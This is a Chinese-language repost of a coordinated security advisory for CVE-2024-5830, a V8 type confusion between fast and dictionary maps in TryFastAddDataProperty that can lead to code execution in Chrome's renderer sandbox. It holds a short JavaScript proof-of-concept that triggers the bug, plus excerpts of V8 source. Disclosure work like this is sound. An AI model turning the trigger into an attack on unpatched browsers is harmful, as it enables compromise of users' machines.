GHSL-2024-095:类型混淆导致 Chrome 渲染器沙箱中出现 RCE - CVE-2024-5830

admin 2024年9月20日14:07:25评论18 views字数 2698阅读8分59秒阅读模式

GHSL-2024-095:类型混淆导致 Chrome 渲染器沙箱中出现 RCE - CVE-2024-5830

协调披露时间表

  • 2024-05-24:问题已报告给 Chromium 安全团队,编号为 342456991

  • 2024-06-11:Chrome 版本126.0.6478.56/57中的问题已修复,编号为 CVE-2024-5830。

概括

TryFastAddDataProperty v8 中快速对象和字典对象之间的类型混淆

项目

Chromium

测试版本

M125

细节

TryFastAddDataProperty 中的类型混淆(GHSL-2024-095)

使用 克隆对象时FastAssign,如果源对象具有accessor,它将被调用以获取属性值,然后在 的调用中使用该属性值CreateDataProperty。恶意行为accessor可能会导致map目标的 被弃用:

var x = {};
x.a0 = 1;
var x1 = {};
x1.a0 = 1;
//Creates a transition from map {a0} to {a0, prop}
x1.prop = 1;

x.__defineGetter__("prop", function() {
  let obj = {};
  obj.a0 = 1.5; //<------ map of x and x1 are now deprecated
  return 1;
});

x.z = 1;
delete x.z;
//Cloning calls accessor `prop` of x before calling `CreateDataProperty` to create property `prop` on target
var y = {...x};

CreateDataProperty然后使用TryFastAddDataProperty将属性 prop 添加到目标对象:

bool TryFastAddDataProperty(Isolate* isolate, Handle<JSObject> object,
                            Handle<Name> name, Handle<Object> value,
                            PropertyAttributes attributes) {
  Tagged<Map> map =
      TransitionsAccessor(isolate, object->map())
          .SearchTransition(*name, PropertyKind::kData, attributes);
  if (map.is_null()) return false;
  ...
  new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor,
                                        PropertyConstness::kConst, value);
  ...
  object->WriteToField(descriptor,
                       new_map->instance_descriptors()->GetDetails(descriptor),
                       *value);
  return true;
}
TryFastAddDataProperty首先搜索到属性 prop 的转换映射。这将找到map,x1它也已被弃用。然后将弃用的映射传递给Map::PrepareForDataProperty,它将尝试更新它:
Handle<Map> Map::PrepareForDataProperty(Isolate* isolate, Handle<Map> map,
                                        InternalIndex descriptor,
                                        PropertyConstness constness,
                                        Handle<Object> value) {
  // Update to the newest map before storing the property.
  map = Update(isolate, map);
  // Dictionaries can store any property value.
  DCHECK(!map->is_dictionary_map());
  return UpdateDescriptorForValue(isolate, map, descriptor, constness, value);

但是,正如bug 40062884所指出的那样,更新已弃用的映射可能会导致它成为字典映射。由于调用WriteToField仍然TryFastAddDataProperty假定new_map它是一个快速映射,它将用来FastPropertyAtPut写入属性:

void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
                            Tagged<Object> value) {
  ...
  FieldIndex index = FieldIndex::ForDetails(map(), details);
  if (details.representation().IsDouble()) {
    ...
  } else {
    FastPropertyAtPut(index, value);
  }
}

当由于更新而 变成字典映射时,这将导致和new_map之间的类型混淆,并且可能导致 的内部属性被覆盖,然后可用于导致从 进行 OOB 访问。PropertyArrayNameDictionaryNameDictionaryNameDictionary

影响

该问题可导致 Chrome 渲染器沙箱中的 RCE

漏洞漏洞

CVE-2024-5830

信用

该问题由 GHSL 团队成员@my-mo (Man Yue Mo)发现并报告。

接触

您可以通过 联系 GHSL 团队[email protected],请在有关此问题的任何沟通中提及GHSL-2024-095。

原文始发于微信公众号(Ots安全):GHSL-2024-095:类型混淆导致 Chrome 渲染器沙箱中出现 RCE - CVE-2024-5830

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月20日14:07:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GHSL-2024-095:类型混淆导致 Chrome 渲染器沙箱中出现 RCE - CVE-2024-5830https://cn-sec.com/archives/3187857.html

发表评论

匿名网友 填写信息